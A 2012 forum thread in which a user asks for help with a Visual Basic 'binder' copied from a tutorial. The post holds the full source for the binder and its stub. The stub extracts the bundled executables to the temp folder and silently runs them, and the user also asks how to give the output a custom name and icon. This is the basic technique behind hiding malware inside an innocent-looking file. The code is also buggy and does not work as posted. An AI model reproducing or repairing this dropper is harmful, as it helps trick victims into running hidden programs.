Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Binder Fail :S
#1
Hey guys,

I started my first 'VB steal from youtube project' and it didnt work out well......

I followed this tutorial:


and everytime when i bind something i get this:

Project one (title) (error text) runtime error 55 file already open


(i also cant find the file on my computer but i can open it in vb :S)

is here someone who can make it work?

This is the Binder.exe Code itself:

Code:
Const FileSplit = "<#<@>#>"

Private Sub cmdAdd_Click()
With Dlg

.DialogTitle = "Selecteer bestand"
.ShowOpen
End With
lsFiles.AddItem (Dlg.FileName)

End Sub

Private Sub cmdBind_Click()
Dim sstub As String, sfiles As String, i As Integer
Open App.Path & "\stub.exe" For Binary As #1
sstub = Space(LOF(1))
Get #1, , sstub
Close #1

Open App.Path & "\BindedFile.exe" For Binary As #1
Put #1, , sstub & FileSplit

For i = o To lsFiles.ListCount - 1

Open lsFiles.List(i) For Binary As #2
sfiles = Space(LOF(2))
Get 2, , sfiles
Close #2

Put #1, , sfiles & FileSplit

Next i
Close #1

MsgBox "De bestanden zijn succesvol aan elkaar verbonden!"

End Sub

Private Sub Command1_Click()
lsFiles.RemoveItem Index
End Sub

This is the Stub.exe Code (you need that to make it work)
Code:
Const FileSplit = "<#<@>#>"
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal LpOperation As String, ByVal lPfile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
Dim stub As String, Files() As String, i As Integer
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
Files = Split(stub, FileSplit)
For i = 1 To UBound(Files())
Open Environ("tmp") & "\tmp" & i & ".exe" For Binary As #1

Put #1, , Files(i)

Call ShellExecute(o, vbNullString, Environ("tmp") & "\tmp" & i & ".exe", vbNullString, vbNullString, vbNormalFocus)
Next i
End

End Sub

and one thing: when i press bind -> the name will be BindedFile.exe

Is there a way to set a name (and set icon would be great to)
Black Ops Mods:

RPG(rocket launcher) mod
Get the Specials

Old aliasses:

eliteCVDelite
CVD

Reply

#2
Post your code.

Also, VB sucks, just start with C#
[Image: azuw.jpg]
Reply

#3
(02-29-2012, 20:16)zxz0O0 Wrote: Post your code.

Also, VB sucks, just start with C#

done Wink

i followed a vb tut. so thats why i used it Tongue
Black Ops Mods:

RPG(rocket launcher) mod
Get the Specials

Old aliasses:

eliteCVDelite
CVD

Reply

#4
(02-29-2012, 20:16)zxz0O0 Wrote: Post your code.

Also, VB sucks, just start with C#

argument or gtfo ;-[
[Image: r212360a129ce9b84444093b6cd2699013a1fbn155.png]
Reply

#5
nobody who understands this?
Black Ops Mods:

RPG(rocket launcher) mod
Get the Specials

Old aliasses:

eliteCVDelite
CVD

Reply



Possibly Related Threads…
Thread Author Replies Views Last Post
  teknomw3 dedicated server FAIL (addons) gauthier2008 5 5,419 12-28-2012, 17:16
Last Post: Nukem
  iw5mp_server.exe fail tomska 2 7,868 11-16-2012, 14:07
Last Post: 99IRock
Rainbow Help Mod downloading fail Nekochan 1 2,114 04-17-2012, 18:49
Last Post: Xzite
  lol phishing fail ddaavvee 7 4,639 01-19-2012, 06:10
Last Post: M1tchhh
  FAIL OF DUTY: MODERN WARFARE 3 [PC VERSION] foxmlg 58 32,513 12-12-2011, 23:50
Last Post: d0h!
  [Request] A GAME THAT DOESNT FAIL SO HARD iAegle 12 6,741 10-26-2011, 22:40
Last Post: Rendflex
Photo Haha FAIL ad skata3000 6 4,084 10-02-2011, 09:14
Last Post: Pozzuh
  Redneck fail Yamato 0 1,593 08-31-2011, 10:29
Last Post: Yamato
  Fail porn ad AZUMIKKEL 5 4,944 08-28-2011, 01:30
Last Post: 4FunPlayin
  GOOGLE TRANSLATOR FAIL Tomsen1410 10 6,539 08-26-2011, 18:46
Last Post: Bloopbloop

Forum Jump:


Users browsing this thread:
1 Guest(s)

Forum Powered By MyBB, Theme by © 2002-2024 Melroy van den Berg.